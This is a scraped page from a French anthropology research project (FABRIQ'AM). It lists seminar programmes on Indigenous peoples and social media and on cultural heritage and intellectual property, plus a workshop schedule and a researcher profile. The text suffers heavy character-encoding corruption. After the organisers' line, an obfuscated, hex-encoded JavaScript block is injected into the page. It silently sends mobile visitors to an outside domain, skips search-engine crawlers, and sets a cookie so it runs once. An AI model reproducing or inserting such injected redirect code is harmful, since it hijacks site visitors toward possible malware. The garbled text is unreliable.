11h-11h50: Hilario Chi Canul (UniversitA� du Quintana Roo, Mexique) : Vitalidad lingA?A�stica y cultural de los mayas en tiempos de WasKa��oop (a�?CoscorrA?n con tinoa�? – grupo whatsApp maya internacional). Donde la modernidad y la tradiciA?n buscan un punto de encuentro.

11h50-12h: Pause

12h-12h30: MA?nica Celeida Rabelo Nogueira & Cristiane De Assis Portela (UniversitA� de Brasilia) : Apropiaciones tecnolA?gicas y reinterpretaciones culturales entre estudiantes indA�genas de Brasil.

AprA?s-midi

14h-14h30: Magda Helena Dziubinska (LESC-EREA) : L’amour amA�rindien sur Facebook (ou quand l’anthropologie frA?le le voyeurisme).

14h30-15h: Marie-Pierre Bousquet (UniversitA� de MontrA�al) : A� Ca��est quoi ton Facebook?A� Vie privA�e, vie publique des Algonquins du QuA�bec.

15h-15h30: Pirjo Kristiina Virtanen (UniversitA� de Helsinki) : Social media in indigenous Brazilian Amazonia a�� digital exchanges.

15h30-16h00: Pause

16h-16h30: Genner Llanes-Ortiz (CIESAS, Mexico / Global Raising Voices) : Activismo Digital de Lenguas IndA�genas: avances en la comprensiA?n de un nuevo campo de acciA?n en AmA�rica Latina.

16h30-17h15: DiscusiA?n / Discussion / Discusion

Discutant de la journA�e : GrA�gory Delaplace (UniversitA� Paris Ouest Nanterre, LESC)

Org. : LESC – Karla AvilA�s GonzA?lez (Labex EFL, Paris 7) & Valentina Vapnarsky (EREA/LESC, CNRS)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

JournA�e d’A�tude (23/03/2016): “Patrimoine culturel et propriA�tA� intellectuelle”

Publié le par

JournA�e da��A�tude FABRIQ’AM

A�23 mars 2016

Patrimoine culturel et propriA�tA� intellectuelle

A�LESC
MAE, salle 308
21, allA�e de l’UniversitA�, Nanterre

JournA�e da��A�tude organisA�e en partenariat entre les projets Fabriqa��Am et EtnoMat.
Organisateurs : Monica Martinez Mauri (EtnoMat) et CA�dric Yvinec (Fabriqa��Am)

ProgrammeA�:A�

10h00: Accueil, introduction : MA?nica MARTA?NEZ MAURI et CA�dric YVINEC,A�Discutante : Anne-Christine TAYLOR (CNRS).
10h30: Jordi TOMAS (UniversitA� de Barcelone) : A� Le passA� des objets et le futur de la propriA�tA� intellectuelle. Une recherche en cours chez les Joola de Casamance (SA�nA�gal).A�
11h00: Perig PITROU (CNRS) : A� Tlahuitoltepec vs Isabel Marant vs Antik Batik. Quand une communautA� da��Indiens mixe (Mexique) se dA�fend contre le plagiat et les tentatives da��appropriation da��un motif traditionnel. A�
11h30: MA?nica MARTA?NEZ MAURI (UniversitA� de Barcelone) : A� Les compositions textiles mola des Guna (Panama) : propriA�tA� intellectuelle, emblA?me identitaire et marchandise globalisA�e. A�
12h00: Discussion
12h30: Pause, buffet.
14h00: GA�rard COLLOMB (CNRS) et David JABIN (UniversitA� Paris Ouest Nanterre) : A� Amers brevets. Savoirs autochtones, accusation de biopiraterie et recherche publique. A�
14h45: Vincent NA�GRI (CNRS) : A� Patrimoine, propriA�tA�, souverainetA� : jeux de (dA�)construction. A�
15h15: Discussion et conclusion.

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SA�minaire de travail interne (29/02-02/03/2016) – Moulin d’AndA�e

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SA�minaire de travail interne pour la prA�paration du colloque final

A�les 29 fA�vrier-2 mars 2016

A�Moulin da��AndA�

Objectifs :

1. Construction scientifique du colloque final de FABRIQa��AM qui se tiendra A� Paris du 30 mai au 1er juin 2016 :

  • 3 sA�ances de travail (lundi aprA?s-midi, mardi et mercredi matin) des cinq A�quipes pour la conception de leur session : rA�flexion sur la structure (prA�sentation de synthA?se, prA�sentation de binA?mes et trinA?mes de cas, noms de discutants, intervenants extA�rieurs de FABRIQa��AMa��)
  • 2 sA�ances plA�niA?res (mardi et mercredi aprA?s-midi) oA? seront prA�sentA�es les avancA�es et propositions de chaque A�quipe ; oA? seront pensA�es les articulations entre les thA�matiques et les passages A�ventuels (ajustements) de participants da��une session A� la��autre ; oA? on fera des propositions de discutants pour chaque session et da��invitA�s et oA? la��on organisera la structure du programme gA�nA�ral du colloque.

2. Plan et calendrier des publications de nos rA�sultats au moyen da��ouvrages, articles, dossiers dans des revues, filmsa��

  • Il faudra penser le contenu de chaque session comme donnant lieu ultA�rieurement A� un ouvrage ou un dossier dans une revue et sa��y ajouteront alors une introduction-synthA?se, des articles de chaque A�tude de cas qui se feront A�cho les uns avec les autresa��

ProgrammeA�:A�

Lundi 29 fA�vrierA�:A�
ArrivA�e en fin de matinA�e et installation + rA�union introductive, plA�niA?re.
13h00: dA�jeuner
AprA?s-midi – rA�unions par groupe.
20h: dA�ner

 

Mardi 1er mars :
8h: Petit-dA�jeuner
MatinA�e – rA�unions par groupes
13h: dA�jeuner
AprA?s midi-rA�union plA�niA?re sur l’organisation scientifique du colloque.

 

Mercredi 2 marsA�:
8h: Petit-dA�jeuner
MatinA�e – rA�unions par groupes
13h: dA�jeuner
AprA?s midi, rA�union plA�niA?re sur l’organisation scientifique du colloque.
17h:A�fin

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Magda Helena DZIUBINSKA

Publié le par

Magda Helena DZIUBINSKA, Postdoctorante en anthropologie, associA�e au Laboratoire d’Ethnologie et de Sociologie Comparative et au Centre da��Enseignement et de Recherche en Ethnologie AmA�rindienne (Nanterre).

Depuis 2009, je travaille auprA?s des groupes kakataibo et shipibo (tous deux appartenant A� l’ensemble pano) en Amazonie pA�ruvienne. Ma recherche dans le cadre du projet Fabriq’am est constituA�e de deux voletsA�:

Les concours de beautA� amA�rindiens et la quA?te de l’authenticitA� culturelle

Tout d’abord, je m’intA�resse aux concours de beautA� qui jouissent d’un A�norme succA?s dans les villages amA�rindiens sur tout le continent amA�ricain. J’explore les liens entre ces A�vA�nements festifs et les processus contemporains de revitalisation culturelle et de patrimonialisation, ainsi que leur relation avec les questions de l’ethnicitA� et de la mise en scA?ne de l’autochtonie. Largement inspireI?s par les concours nationaux, les concours ameI?rindiens font toutefois apparaiI�tre des logiques et des enjeux singuliers en devenant souvent un espace privilA�giA� de la rA�affirmation identitaire et de la sur-communication de la diffA�rence culturelle. Prendre ces concours de beautA� au sA�rieux permet d’interroger non seulement le mode de fonctionnement des fabriques contemporaines de l’indianitA�, mais aussi l’importance du rA?le qu’endossent aujourd’hui les adolescentes ameI?rindiennes, A� la fois creI?atrices de la particulariteI? culturelle et des nouvelles traditions, et meI?diatrices de plus en plus habiles entre leur groupe et la socieI?teI? nationale.

RA�flexion sur le patrimoine vivant

La question que je me pose dans la seconde A�tude est de savoir si un groupe humain peut devenir le patrimoine culturel d’un autre. Jusqu’aI� quel point est-il possible de manipuler les limites de la cateI?gorie du patrimoine vivant pour y inteI?grer des eI�tres humains ? Dans les ontologies animistes des basses terres d’AmeI?rique du Sud, les plantes, les animaux et les artefacts se voient souvent attribuer la meI�me inteI?rioriteI? (subjectiviteI?, intentionnaliteI?, capaciteI? d’agir) que les humains. Je me propose de reI?fleI?chir sur les conseI?quences de cette conception particulieI�re du vivant sur les processus de patrimonialisation, ainsi que sur ce qui est patrimonialisable aux yeux des AmeI?rindiens. Mon hypotheI�se de dA�part est que les kamano, des Indiens vivant en isolement A� au fond de la foreI�t A� sont devenus partie inteI?grante du patrimoine vivant des Kakataibo. Ils constituent un reI?servoir d’images seI?duisantes de l’indianiteI? aI� l’ A� eI?tat pur A� que les Kakataibo ont su s’approprier. Dans le contexte actuel, ces images ont acquis un pouvoir exceptionnel apreI�s avoir attireI? la��attention des meI?dias et des ONG. En adoptant une approche interactioniste, je montrerai le roI�le qu’ont joueI? ces acteurs A�trangers dans l’eI?mergence d’une perspective patrimoniale kakataibo sur les kamano, et plus gA�nA�ralement comment ils ont contribuA� aI� forger une A� culture A� kakataibo objectiveI?e et ethniciseI?e.

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